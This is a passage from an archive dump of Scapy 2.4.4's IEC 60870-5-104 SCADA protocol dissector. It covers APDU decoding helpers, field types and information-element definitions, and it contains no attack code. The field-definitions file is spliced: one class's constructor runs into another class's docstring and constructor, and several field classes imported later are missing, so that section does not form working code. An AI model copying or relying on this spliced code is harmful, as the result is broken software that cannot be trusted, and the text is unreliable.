IEC104_I_Message_SeqIOA, IEC104_APDU_TYPE_I_SINGLE_IOA: IEC104_I_Message_SingleIOA, IEC104_APDU_TYPE_U: IEC104_U_Message, IEC104_APDU_TYPE_S: IEC104_S_Message } def _iec104_is_i_apdu_seq_ioa(payload): len_payload = len(payload) if len_payload < 6: return False if orb(payload[0]) != 0x68 or ( orb(payload[1]) + 2) > len_payload or len_payload < 8: return False return IEC104_APDU_TYPE_I_SEQ_IOA == _iec104_apci_type_from_packet(payload) def _iec104_is_i_apdu_single_ioa(payload): len_payload = len(payload) if len_payload < 6: return False if orb(payload[0]) != 0x68 or ( orb(payload[1]) + 2) > len_payload or len_payload < 8: return False return IEC104_APDU_TYPE_I_SINGLE_IOA == _iec104_apci_type_from_packet( payload) def _iec104_is_u_apdu(payload): if len(payload) < 6: return False if orb(payload[0]) != 0x68 or orb(payload[1]) != 4: return False return IEC104_APDU_TYPE_U == _iec104_apci_type_from_packet(payload) def _iec104_is_s_apdu(payload): if len(payload) < 6: return False if orb(payload[0]) != 0x68 or orb(payload[1]) != 4: return False return IEC104_APDU_TYPE_S == _iec104_apci_type_from_packet(payload) def iec104_decode(payload): """ can be used to dissect payload of a TCP connection :param payload: the application layer data (IEC104-APDU(s)) :return: iec104 (I/U/S) message instance, conf.raw_layer() if unknown """ if _iec104_is_i_apdu_seq_ioa(payload): return IEC104_I_Message_SeqIOA(payload) elif _iec104_is_i_apdu_single_ioa(payload): return IEC104_I_Message_SingleIOA(payload) elif _iec104_is_s_apdu(payload): return IEC104_S_Message(payload) elif _iec104_is_u_apdu(payload): return IEC104_U_Message(payload) else: return conf.raw_layer(payload) bind_layers(TCP, IEC104_APDU, sport=IEC_104_IANA_PORT) bind_layers(TCP, IEC104_APDU, dport=IEC_104_IANA_PORT) scapy-2.4.4/scapy/contrib/scada/iec104/iec104_fields.py000066400000000000000000000070361372370053500223570ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Thomas Tannhaeuser # This program is published under a GPLv2 license # scapy.contrib.status = skip """ field type definitions used by iec 60870-5-104 layer (iec104) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :description: This file provides field definitions used by the IEC-60870-5-104 implementation. Some of those fields are used exclusively by iec104 (e.g. IEC104SequenceNumber) while others (LESignedShortField) are more common an may be moved to fields.py. normative references: - EN 60870-5-104:2006 - EN 60870-5-4:1993 - EN 60870-5-4:1994 """ import struct from scapy.compat import orb from scapy.fields import Field, ThreeBytesField, BitField from scapy.volatile import RandSShort class LESignedShortField(Field): """ little endian signed short field """ def __init__(self, name, default): Field.__init__(self, name, default, "7 6 5 4 3 2 1 0 +---+---+---+---+---+---+---+---+---------+ | | | | | | |LSB| 0 | =byte 0 | +---+---+---+---+---+---+---+---+---------+ |MSB| | | | | | | | =byte 1 | +---+---+---+---+---+---+---+---+---------+ """ def __init__(self, name, default): Field.__init__(self, name, default, "!I") def addfield(self, pkt, s, val): b0 = (val << 1) & 0xfe b1 = val >> 7 return s + bytes(bytearray([b0, b1])) def getfield(self, pkt, s): b0 = (orb(s[0]) & 0xfe) >> 1 b1 = orb(s[1]) seq_num = b0 + (b1 << 7) return s[2:], seq_num class IEC104SignedSevenBitValue(BitField): """ Typ 2.1, 7 Bit, [-64..63] see EN 60870-5-4:1994, Typ 2.1 (p. 13) """ def __init__(self, name, default): BitField.__init__(self, name, default, 7) def m2i(self, pkt, x): if x & 64: x = x - 128 return x def i2m(self, pkt, x): sign = 0 if x < 0: sign = 64 x = x + 64 x = x | sign return x scapy-2.4.4/scapy/contrib/scada/iec104/iec104_information_elements.py000066400000000000000000001264641372370053500253410ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Thomas Tannhaeuser # This program is published under a GPLv2 license # scapy.contrib.status = skip """ information element definitions used by IEC 60870-5-101/104 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :description: This module provides the information element (IE) definitions used to compose the ASDUs (Application Service Data Units) used within the IEC 60870-5-101 and IEC 60870-5-104 protocol. normative references: - IEC 60870-5-4:1993 (atomic base types / data format) - IEC 60870-5-101:2003 (information elements (sec. 7.2.6) and ASDU definition (sec. 7.3)) - IEC 60870-5-104:2006 (information element TSC (sec. 8.8, p. 44)) :TODO: - some definitions should use signed types as outlined in the standard - normed value element should use a float type """ from scapy.contrib.scada.iec104.iec104_fields import \ IEC60870_5_4_NormalizedFixPoint, IEC104SignedSevenBitValue, \ LESignedShortField, LEIEEEFloatField from scapy.fields import BitEnumField, ByteEnumField, ByteField, \ ThreeBytesField, \ BitField, LEShortField, LESignedIntField def _generate_attributes_and_dicts(cls): """ create class attributes and dict entries for range-based attributes class attributes will take the form: cls._ dictionary entries will be generated as: the_dict[index] = " ()" expects a GENERATED_ATTRIBUTES attribute within the class that contains a list of the specification for the attributes and dictionary entries to be generated. each list entry must have this format: (attribute_name_prefix, dict_entry_prefix, dictionary, first_index, last_index) with - the prefix of the attribute name first_index - index of the first attribute to be generated last_index - index of the last attribute to be generated :param cls: the class the attributes should be added to :return: cls extended by generated attributes """ for attribute_name_prefix, dict_entry_prefix, the_dict, first_index, \ last_index \ in cls.GENERATED_ATTRIBUTES: for index in range(first_index, last_index + 1): the_dict[index] = '{} ({})'.format(dict_entry_prefix, index) setattr(cls, '{}_{}'.format(attribute_name_prefix, index), index) return cls class IEC104_IE_CommonQualityFlags: """ common / shared information element quality flags """ IV_FLAG_VALID = 0 IV_FLAG_INVALID = 1 IV_FLAGS = { IV_FLAG_VALID: 'valid', IV_FLAG_INVALID: 'invalid' } NT_FLAG_CURRENT_VALUE = 0 NT_FLAG_OLD_VALUE = 1 NT_FLAGS = { NT_FLAG_CURRENT_VALUE: 'current value', NT_FLAG_OLD_VALUE: 'old value' } SB_FLAG_NOT_SUBSTITUTED = 0 SB_FLAG_SUBSTITUTED = 1 SB_FLAGS = { SB_FLAG_NOT_SUBSTITUTED: 'not substituted', SB_FLAG_SUBSTITUTED: 'substituted' } BL_FLAG_NOT_BLOCKED = 0 BL_FLAG_BLOCKED = 1 BL_FLAGS = { BL_FLAG_NOT_BLOCKED: 'not blocked', BL_FLAG_BLOCKED: 'blocked' } EI_FLAG_ELAPSED_TIME_VALID = 0 EI_FLAG_ELAPSED_TIME_INVALID = 1 EI_FLAGS = { EI_FLAG_ELAPSED_TIME_VALID: 'elapsed time valid', EI_FLAG_ELAPSED_TIME_INVALID: 'elapsed time invalid' } class IEC104_IE_SIQ(IEC104_IE_CommonQualityFlags): """ SIQ - single point information with quality descriptor EN 60870-5-101:2003, sec. 7.2.6.1 (p. 44) """ SPI_FLAG_STATE_OFF = 0 SPI_FLAG_STATE_ON = 1 SPI_FLAGS = { SPI_FLAG_STATE_OFF: 'off', SPI_FLAG_STATE_ON: 'on' } informantion_element_fields = [ BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), # invalid BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), # live or cached old value BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), # value substituted BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), # blocked BitField('reserved', 0, 3), BitEnumField('spi_value', 0, 1, SPI_FLAGS) ] class IEC104_IE_DIQ(IEC104_IE_CommonQualityFlags): """ DIQ - double-point information with quality descriptor EN 60870-5-101:2003, sec. 7.2.6.2 (p. 44) """ DPI_FLAG_STATE_UNDEFINED_OR_TRANSIENT = 0 DPI_FLAG_STATE_OFF = 1 DPI_FLAG_STATE_ON = 2 DPI_FLAG_STATE_UNDEFINED = 3 DPI_FLAGS = { DPI_FLAG_STATE_UNDEFINED_OR_TRANSIENT: 'undefined/transient', DPI_FLAG_STATE_OFF: 'off', DPI_FLAG_STATE_ON: 'on', DPI_FLAG_STATE_UNDEFINED: 'undefined' } informantion_element_fields = [ BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), # invalid BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), # live or cached old value BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), # value substituted BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), # blocked BitField('reserved', 0, 2), BitEnumField('dpi_value', 0, 2, DPI_FLAGS) ] class IEC104_IE_QDS(IEC104_IE_CommonQualityFlags): """ QDS - quality descriptor separate object EN 60870-5-101:2003, sec. 7.2.6.3 (p. 45) """ OV_FLAG_NO_OVERFLOW = 0 OV_FLAG_OVERFLOW = 1 OV_FLAGS = { OV_FLAG_NO_OVERFLOW: 'no overflow', OV_FLAG_OVERFLOW: 'overflow' } informantion_element_fields = [ BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), # invalid BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), # live or cached old value BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), # value substituted BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), # blocked BitField('reserved', 0, 3), BitEnumField('ov', 0, 1, OV_FLAGS), # overflow ] class IEC104_IE_QDP(IEC104_IE_CommonQualityFlags): """ QDP - quality descriptor protection equipment separate object EN 60870-5-101:2003, sec. 7.2.6.4 (p. 46) """ informantion_element_fields = [ BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), # invalid BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), # live or cached old value BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), # value substituted BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), # blocked BitEnumField('ei', 0, 1, IEC104_IE_CommonQualityFlags.EI_FLAGS), # blocked BitField('reserved', 0, 3) ] class IEC104_IE_VTI: """ VTI - value with transient state indication EN 60870-5-101:2003, sec. 7.2.6.5 (p. 47) """ TRANSIENT_STATE_DISABLED = 0 TRANSIENT_STATE_ENABLED = 1 TRANSIENT_STATE_FLAGS = { TRANSIENT_STATE_DISABLED: 'device not in transient state', TRANSIENT_STATE_ENABLED: 'device in transient state' } informantion_element_fields = [ BitEnumField('transient_state', 0, 1, TRANSIENT_STATE_FLAGS), IEC104SignedSevenBitValue('value', 0) ] class IEC104_IE_NVA: """ NVA - normed value EN 60870-5-101:2003, sec. 7.2.6.6 (p. 47) """ informantion_element_fields = [ IEC60870_5_4_NormalizedFixPoint('normed_value', 0) ] class IEC104_IE_SVA: """ SVA - scaled value EN 60870-5-101:2003, sec. 7.2.6.7 (p. 47) """ informantion_element_fields = [ LESignedShortField('scaled_value', 0) ] class IEC104_IE_R32_IEEE_STD_754: """ R32-IEEE STD 754 - short floating point value EN 60870-5-101:2003, sec. 7.2.6.8 (p. 47) """ informantion_element_fields = [ LEIEEEFloatField('scaled_value', 0) ] class IEC104_IE_BCR: """ BCR - binary counter reading EN 60870-5-101:2003, sec. 7.2.6.9 (p. 47) """ CA_FLAG_COUNTER_NOT_ADJUSTED = 0 CA_FLAG_COUNTER_ADJUSTED = 1 CA_FLAGS = { CA_FLAG_COUNTER_NOT_ADJUSTED: 'counter not adjusted', CA_FLAG_COUNTER_ADJUSTED: 'counter adjusted' } CY_FLAG_NO_OVERFLOW = 0 CY_FLAG_OVERFLOW = 1 CY_FLAGS = { CY_FLAG_NO_OVERFLOW: 'no overflow', CY_FLAG_OVERFLOW: 'overflow' } informantion_element_fields = [ LESignedIntField('counter_value', 0), BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), # invalid BitEnumField('ca', 0, 1, CA_FLAGS), # counter adjusted BitEnumField('cy', 0, 1, CY_FLAGS), # carry flag / overflow BitField('sq', 0, 5) # sequence ] class IEC104_IE_SEP(IEC104_IE_CommonQualityFlags): """ SEP - single event of protection equipment EN 60870-5-101:2003, sec. 7.2.6.10 (p. 48) """ ES_FLAG_STATE_UNDEFINED_0 = 0 ES_FLAG_STATE_OFF = 1 ES_FLAG_STATE_ON = 2 ES_FLAG_STATE_UNDEFINED_3 = 3 ES_FLAGS = { ES_FLAG_STATE_UNDEFINED_0: 'undefined (0)', ES_FLAG_STATE_OFF: 'off', ES_FLAG_STATE_ON: 'on', ES_FLAG_STATE_UNDEFINED_3: 'undefined (3)', } informantion_element_fields = [ BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), # invalid BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), # live or cached old value BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), # value substituted BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), # blocked BitEnumField('ei', 0, 1, IEC104_IE_CommonQualityFlags.EI_FLAGS), # time valid BitField('reserved', 0, 1), BitEnumField('es', 0, 2, ES_FLAGS), # event state ] class IEC104_IE_SPE: """ SPE - start events of protection equipment EN 60870-5-101:2003, sec. 7.2.6.11 (p. 48) """ GS_FLAG_NO_GENERAL_TRIGGER = 0 GS_FLAG_GENERAL_TRIGGER = 1 GS_FLAGS = { GS_FLAG_NO_GENERAL_TRIGGER: 'general trigger', GS_FLAG_GENERAL_TRIGGER: 'no general trigger' } # protection relays - start of operation - fault detection per phase SL_FLAG_START_OPR_PHASE_L1_NO_TRIGGER = 0 SL_FLAG_START_OPR_PHASE_L1_TRIGGER = 1 SL_FLAG_START_OPR_PHASE_L2_NO_TRIGGER = 0 SL_FLAG_START_OPR_PHASE_L2_TRIGGER = 1 SL_FLAG_START_OPR_PHASE_L3_NO_TRIGGER = 0 SL_FLAG_START_OPR_PHASE_L3_TRIGGER = 1 SL_FLAGS = { SL_FLAG_START_OPR_PHASE_L1_NO_TRIGGER: 'no start of operation', SL_FLAG_START_OPR_PHASE_L1_TRIGGER: 'start of operation' } # protection event start caused by earth current SIE_FLAG_START_OPR_PHASE_IE_NO_TRIGGER = 0 SIE_FLAG_START_OPR_PHASE_IE_TRIGGER = 1 SIE_FLAGS = { SIE_FLAG_START_OPR_PHASE_IE_NO_TRIGGER: 'no start of operation', SIE_FLAG_START_OPR_PHASE_IE_TRIGGER: 'start of operation' } # direction of the started protection event SRD_FLAG_DIRECTION_FORWARD = 0 SRD_FLAG_DIRECTION_BACKWARD = 1 SRD_FLAGS = { SRD_FLAG_DIRECTION_FORWARD: 'forward', SRD_FLAG_DIRECTION_BACKWARD: 'backward' } informantion_element_fields = [ BitField('reserved', 0, 2), BitEnumField('srd', 0, 1, SRD_FLAGS), BitEnumField('sie', 0, 1, SIE_FLAGS), BitEnumField('sl3', 0, 1, SL_FLAGS), BitEnumField('sl2', 0, 1, SL_FLAGS), BitEnumField('sl1', 0, 1, SL_FLAGS), BitEnumField('gs', 0, 1, GS_FLAGS) ] class IEC104_IE_OCI: """ OCI - output circuit information of protection equipment EN 60870-5-101:2003, sec. 7.2.6.12 (p. 49) """ # all 3 phases off command GC_FLAG_NO_GENERAL_COMMAND_OFF = 0 GC_FLAG_GENERAL_COMMAND_OFF = 1 GC_FLAGS = { GC_FLAG_NO_GENERAL_COMMAND_OFF: 'no general off', GC_FLAG_GENERAL_COMMAND_OFF: 'general off' } # phase based off command # protection relays - start of operation - fault detection per phase CL_FLAG_NO_COMMAND_L1_OFF = 0 CL_FLAG_COMMAND_L1_OFF = 1 CL_FLAG_NO_COMMAND_L2_OFF = 0 CL_FLAG_COMMAND_L2_OFF = 1 CL_FLAG_NO_COMMAND_L3_OFF = 0 CL_FLAG_COMMAND_L3_OFF = 1 CL_FLAGS = { CL_FLAG_NO_COMMAND_L1_OFF: 'no command off', CL_FLAG_COMMAND_L1_OFF: 'no command off' } informantion_element_fields = [ BitField('reserved', 0, 4), BitEnumField('cl3', 0, 1, CL_FLAGS), # command Lx BitEnumField('cl2', 0, 1, CL_FLAGS), BitEnumField('cl1', 0, 1, CL_FLAGS), BitEnumField('gc', 0, 1, GC_FLAGS), # general off ] class IEC104_IE_BSI: """ BSI - binary state information EN 60870-5-101:2003, sec. 7.2.6.13 (p. 49) """ informantion_element_fields = [ BitField('bsi', 0, 32) ] class IEC104_IE_FBP: """ FBP - fixed test bit pattern EN 60870-5-101:2003, sec. 7.2.6.14 (p. 49) """ informantion_element_fields = [ LEShortField('fbp', 0) ] @_generate_attributes_and_dicts class IEC104_IE_QOC: """ QOC - qualifier of command EN 60870-5-101:2003, sec. 7.2.6.26 (p. 54) """ QU_FLAG_NO_ADDITIONAL_PARAMETERS = 0 QU_FLAG_SHORT_COMMAND_EXEC_TIME = 1 # e.g. controlling a power switch QU_FLAG_LONG_COMMAND_EXEC_TIME = 2 QU_FLAG_PERMANENT_COMMAND = 3 QU_FLAGS = { QU_FLAG_NO_ADDITIONAL_PARAMETERS: 'no additional parameter', QU_FLAG_SHORT_COMMAND_EXEC_TIME: 'short execution time', QU_FLAG_LONG_COMMAND_EXEC_TIME: 'long execution time', QU_FLAG_PERMANENT_COMMAND: 'permanent command', } GENERATED_ATTRIBUTES = [ ('QU_FLAG_RESERVED_COMPATIBLE', 'reserved - compatible', QU_FLAGS, 4, 8), ('QU_FLAG_RESERVED_PREDEFINED_FUNCTION', 'reserved - predefined function', QU_FLAGS, 9, 15), ('QU_FLAG_RESERVED_PRIVATE', 'reserved - private', QU_FLAGS, 16, 31) ] SE_FLAG_EXECUTE = 0 SE_FLAG_SELECT = 1 SE_FLAGS = { SE_FLAG_EXECUTE: 'execute', SE_FLAG_SELECT: 'select' } informantion_element_fields = [ BitEnumField('s/e', 0, 1, SE_FLAGS), BitEnumField('qu', 0, 5, QU_FLAGS) ] class IEC104_IE_SCO(IEC104_IE_QOC): """ SCO - single command EN 60870-5-101:2003, sec. 7.2.6.15 (p. 50) """ SCS_FLAG_STATE_OFF = 0 SCS_FLAG_STATE_ON = 1 SCS_FLAGS = { SCS_FLAG_STATE_OFF: 'off', SCS_FLAG_STATE_ON: 'on' } informantion_element_fields = IEC104_IE_QOC.informantion_element_fields + [ BitField('reserved', 0, 1), BitEnumField('scs', 0, 1, SCS_FLAGS) ] class IEC104_IE_DCO(IEC104_IE_QOC): """ DCO - double command EN 60870-5-101:2003, sec. 7.2.6.16 (p. 50) """ DCS_FLAG_STATE_INVALID_0 = 0 DCS_FLAG_STATE_OFF = 1 DCS_FLAG_STATE_ON = 2 DCS_FLAG_STATE_INVALID_3 = 3 DCS_FLAGS = { DCS_FLAG_STATE_INVALID_0: 'invalid (0)', DCS_FLAG_STATE_OFF: 'off', DCS_FLAG_STATE_ON: 'on', DCS_FLAG_STATE_INVALID_3: 'invalid (3)', } informantion_element_fields = IEC104_IE_QOC.informantion_element_fields + [ BitEnumField('dcs', 0, 2, DCS_FLAGS) ] class IEC104_IE_RCO(IEC104_IE_QOC): """ RCO - regulating step command EN 60870-5-101:2003, sec. 7.2.6.17 (p. 50) """ RCO_FLAG_STATE_INVALID_0 = 0 RCO_FLAG_STATE_STEP_DOWN = 1 RCO_FLAG_STATE_STEP_UP = 2 RCO_FLAG_STATE_INVALID_3 = 3 RCO_FLAGS = { RCO_FLAG_STATE_INVALID_0: 'invalid (0)', RCO_FLAG_STATE_STEP_DOWN: 'step down', RCO_FLAG_STATE_STEP_UP: 'step up', RCO_FLAG_STATE_INVALID_3: 'invalid (3)', } informantion_element_fields = IEC104_IE_QOC.informantion_element_fields + [ BitEnumField('rcs', 0, 2, RCO_FLAGS) ] class IEC104_IE_CP56TIME2A(IEC104_IE_CommonQualityFlags): """ CP56Time2a - dual time, 7 octets (milliseconds, valid flag, minutes, hours, summer-time-indicator, day of month, weekday, years) well, someone should have talked to them about the idea of the unix timestamp... EN 60870-5-101:2003, sec. 7.2.6.18 (p. 50) time representation format according IEC 60870-5-4:1993, sec. 6.8, p. 23 """ WEEK_DAY_FLAG_UNUSED = 0 WEEK_DAY_FLAG_MONDAY = 1 WEEK_DAY_FLAG_TUESDAY = 2 WEEK_DAY_FLAG_WEDNESDAY = 3 WEEK_DAY_FLAG_THURSDAY = 4 WEEK_DAY_FLAG_FRIDAY = 5 WEEK_DAY_FLAG_SATURDAY = 6 WEEK_DAY_FLAG_SUNDAY = 7 WEEK_DAY_FLAGS = { WEEK_DAY_FLAG_UNUSED: 'unused', WEEK_DAY_FLAG_MONDAY: 'Monday', WEEK_DAY_FLAG_TUESDAY: 'Tuesday', WEEK_DAY_FLAG_WEDNESDAY: 'Wednesday', WEEK_DAY_FLAG_THURSDAY: 'Thursday', WEEK_DAY_FLAG_FRIDAY: 'Friday', WEEK_DAY_FLAG_SATURDAY: 'Saturday', WEEK_DAY_FLAG_SUNDAY: 'Sunday' } GEN_FLAG_REALTIME = 0 GEN_FLAG_SUBSTITUTED_TIME = 1 GEN_FLAGS = { GEN_FLAG_REALTIME: 'real time', GEN_FLAG_SUBSTITUTED_TIME: 'substituted time' } SU_FLAG_NORMAL_TIME = 0 SU_FLAG_SUMMER_TIME = 1 SU_FLAGS = { SU_FLAG_NORMAL_TIME: 'normal time', SU_FLAG_SUMMER_TIME: 'summer time' } informantion_element_fields = [ LEShortField('sec_milli', 0), BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), BitEnumField('gen', 0, 1, GEN_FLAGS), # only valid in monitor direction ToDo: special treatment needed? BitField('minutes', 0, 6), BitEnumField('su', 0, 1, SU_FLAGS), BitField('reserved_2', 0, 2), BitField('hours', 0, 5), BitEnumField('weekday', 0, 3, WEEK_DAY_FLAGS), BitField('day-of-month', 0, 5), BitField('reserved_3', 0, 4), BitField('month', 0, 4), BitField('reserved_4', 0, 1), BitField('year', 0, 7), ] class IEC104_IE_CP56TIME2A_START_TIME(IEC104_IE_CP56TIME2A): """ derived IE, used for ASDU that requires two CP56TIME2A timestamps for defining a range """ _DERIVED_IE = True informantion_element_fields = [ LEShortField('start_sec_milli', 0), BitEnumField('start_iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), BitEnumField('start_gen', 0, 1, IEC104_IE_CP56TIME2A.GEN_FLAGS), # only valid in monitor direction ToDo: special treatment needed? BitField('start_minutes', 0, 6), BitEnumField('start_su', 0, 1, IEC104_IE_CP56TIME2A.SU_FLAGS), BitField('start_reserved_2', 0, 2), BitField('start_hours', 0, 5), BitEnumField('start_weekday', 0, 3, IEC104_IE_CP56TIME2A.WEEK_DAY_FLAGS), BitField('start_day-of-month', 0, 5), BitField('start_reserved_3', 0, 4), BitField('start_month', 0, 4), BitField('start_reserved_4', 0, 1), BitField('start_year', 0, 7), ] class IEC104_IE_CP56TIME2A_STOP_TIME(IEC104_IE_CP56TIME2A): """ derived IE, used for ASDU that requires two CP56TIME2A timestamps for defining a range """ _DERIVED_IE = True informantion_element_fields = [ LEShortField('stop_sec_milli', 0), BitEnumField('stop_iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), BitEnumField('stop_gen', 0, 1, IEC104_IE_CP56TIME2A.GEN_FLAGS), # only valid in monitor direction ToDo: special treatment needed? BitField('stop_minutes', 0, 6), BitEnumField('stop_su', 0, 1, IEC104_IE_CP56TIME2A.SU_FLAGS), BitField('stop_reserved_2', 0, 2), BitField('stop_hours', 0, 5), BitEnumField('stop_weekday', 0, 3, IEC104_IE_CP56TIME2A.WEEK_DAY_FLAGS), BitField('stop_day-of-month', 0, 5), BitField('stop_reserved_3', 0, 4), BitField('stop_month', 0, 4), BitField('stop_reserved_4', 0, 1), BitField('stop_year', 0, 7), ] class IEC104_IE_CP24TIME2A(IEC104_IE_CP56TIME2A): """ CP24Time2a - dual time, 3 octets (milliseconds, valid flag, minutes) EN 60870-5-101:2003, sec. 7.2.6.19 (p. 51) time representation format according IEC 60870-5-4:1993, sec. 6.8, p. 23, octet 4..7 discarded """ informantion_element_fields = \ IEC104_IE_CP56TIME2A.informantion_element_fields[:4] class IEC104_IE_CP16TIME2A: """ CP16Time2a - dual time, 2 octets (milliseconds) EN 60870-5-101:2003, sec. 7.2.6.20 (p. 51) """ informantion_element_fields = [ LEShortField('sec_milli', 0) ] class IEC104_IE_CP16TIME2A_ELAPSED: """ derived IE, used in ASDU using more than one CP* field and this one is used to show an elapsed time """ _DERIVED_IE = True informantion_element_fields = [ LEShortField('elapsed_sec_milli', 0) ] class IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE: """ derived IE, used in ASDU using more than one CP* field and this one is used to show an protection activation time """ _DERIVED_IE = True informantion_element_fields = [ LEShortField('prot_act_sec_milli', 0) ] class IEC104_IE_CP16TIME2A_PROTECTION_COMMAND: """ derived IE, used in ASDU using more than one CP* field and this one is used to show an protection command time """ _DERIVED_IE = True informantion_element_fields = [ LEShortField('prot_cmd_sec_milli', 0) ] @_generate_attributes_and_dicts class IEC104_IE_COI: """ COI - cause of initialization EN 60870-5-101:2003, sec. 7.2.6.21 (p. 51) """ LPC_FLAG_LOCAL_PARAMETER_UNCHANGED = 0 LPC_FLAG_LOCAL_PARAMETER_CHANGED = 1 LPC_FLAGS = { LPC_FLAG_LOCAL_PARAMETER_UNCHANGED: 'unchanged', LPC_FLAG_LOCAL_PARAMETER_CHANGED: 'changed' } COI_FLAG_LOCAL_POWER_ON = 0 COI_FLAG_LOCAL_MANUAL_RESET = 1 COI_FLAG_REMOTE_RESET = 2 COI_FLAGS = { COI_FLAG_LOCAL_POWER_ON: 'local power on', COI_FLAG_LOCAL_MANUAL_RESET: 'manual reset', COI_FLAG_REMOTE_RESET: 'remote reset' } GENERATED_ATTRIBUTES = [ ('COI_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', COI_FLAGS, 3, 31), ('COI_FLAG_PRIVATE_RESERVED', 'private reserved', COI_FLAGS, 32, 127) ] informantion_element_fields = [ BitEnumField('local_param_state', 0, 1, LPC_FLAGS), BitEnumField('coi', 0, 7, COI_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_QOI: """ QOI - qualifier of interrogation EN 60870-5-101:2003, sec. 7.2.6.22 (p. 52) """ QOI_FLAG_UNUSED = 0 QOI_FLAG_STATION_INTERROGATION = 20 QOI_FLAG_GROUP_1_INTERROGATION = 21 QOI_FLAG_GROUP_2_INTERROGATION = 22 QOI_FLAG_GROUP_3_INTERROGATION = 23 QOI_FLAG_GROUP_4_INTERROGATION = 24 QOI_FLAG_GROUP_5_INTERROGATION = 25 QOI_FLAG_GROUP_6_INTERROGATION = 26 QOI_FLAG_GROUP_7_INTERROGATION = 27 QOI_FLAG_GROUP_8_INTERROGATION = 28 QOI_FLAG_GROUP_9_INTERROGATION = 29 QOI_FLAG_GROUP_10_INTERROGATION = 30 QOI_FLAG_GROUP_11_INTERROGATION = 31 QOI_FLAG_GROUP_12_INTERROGATION = 32 QOI_FLAG_GROUP_13_INTERROGATION = 33 QOI_FLAG_GROUP_14_INTERROGATION = 34 QOI_FLAG_GROUP_15_INTERROGATION = 35 QOI_FLAG_GROUP_16_INTERROGATION = 36 QOI_FLAGS = { QOI_FLAG_UNUSED: 'unused', QOI_FLAG_STATION_INTERROGATION: 'station interrogation', QOI_FLAG_GROUP_1_INTERROGATION: 'group 1 interrogation', QOI_FLAG_GROUP_2_INTERROGATION: 'group 2 interrogation', QOI_FLAG_GROUP_3_INTERROGATION: 'group 3 interrogation', QOI_FLAG_GROUP_4_INTERROGATION: 'group 4 interrogation', QOI_FLAG_GROUP_5_INTERROGATION: 'group 5 interrogation', QOI_FLAG_GROUP_6_INTERROGATION: 'group 6 interrogation', QOI_FLAG_GROUP_7_INTERROGATION: 'group 7 interrogation', QOI_FLAG_GROUP_8_INTERROGATION: 'group 8 interrogation', QOI_FLAG_GROUP_9_INTERROGATION: 'group 9 interrogation', QOI_FLAG_GROUP_10_INTERROGATION: 'group 10 interrogation', QOI_FLAG_GROUP_11_INTERROGATION: 'group 11 interrogation', QOI_FLAG_GROUP_12_INTERROGATION: 'group 12 interrogation', QOI_FLAG_GROUP_13_INTERROGATION: 'group 13 interrogation', QOI_FLAG_GROUP_14_INTERROGATION: 'group 14 interrogation', QOI_FLAG_GROUP_15_INTERROGATION: 'group 15 interrogation', QOI_FLAG_GROUP_16_INTERROGATION: 'group 16 interrogation' } GENERATED_ATTRIBUTES = [ ('QOI_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QOI_FLAGS, 1, 19), ('QOI_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QOI_FLAGS, 37, 63), ('QOI_FLAG_PRIVATE_RESERVED', 'private reserved', QOI_FLAGS, 64, 255) ] informantion_element_fields = [ ByteEnumField('qoi', 0, QOI_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_QCC: """ QCC - qualifier of counter interrogation command EN 60870-5-101:2003, sec. 7.2.6.23 (p. 52) """ # request flags RQT_FLAG_UNUSED = 0 RQT_FLAG_GROUP_1_COUNTER_INTERROGATION = 1 RQT_FLAG_GROUP_2_COUNTER_INTERROGATION = 2 RQT_FLAG_GROUP_3_COUNTER_INTERROGATION = 3 RQT_FLAG_GROUP_4_COUNTER_INTERROGATION = 4 RQT_FLAG_GENERAL_COUNTER_INTERROGATION = 5 RQT_FLAGS = { RQT_FLAG_UNUSED: 'unused', RQT_FLAG_GROUP_1_COUNTER_INTERROGATION: 'counter group 1 ' 'interrogation', RQT_FLAG_GROUP_2_COUNTER_INTERROGATION: 'counter group 2 ' 'interrogation', RQT_FLAG_GROUP_3_COUNTER_INTERROGATION: 'counter group 3 ' 'interrogation', RQT_FLAG_GROUP_4_COUNTER_INTERROGATION: 'counter group 4 ' 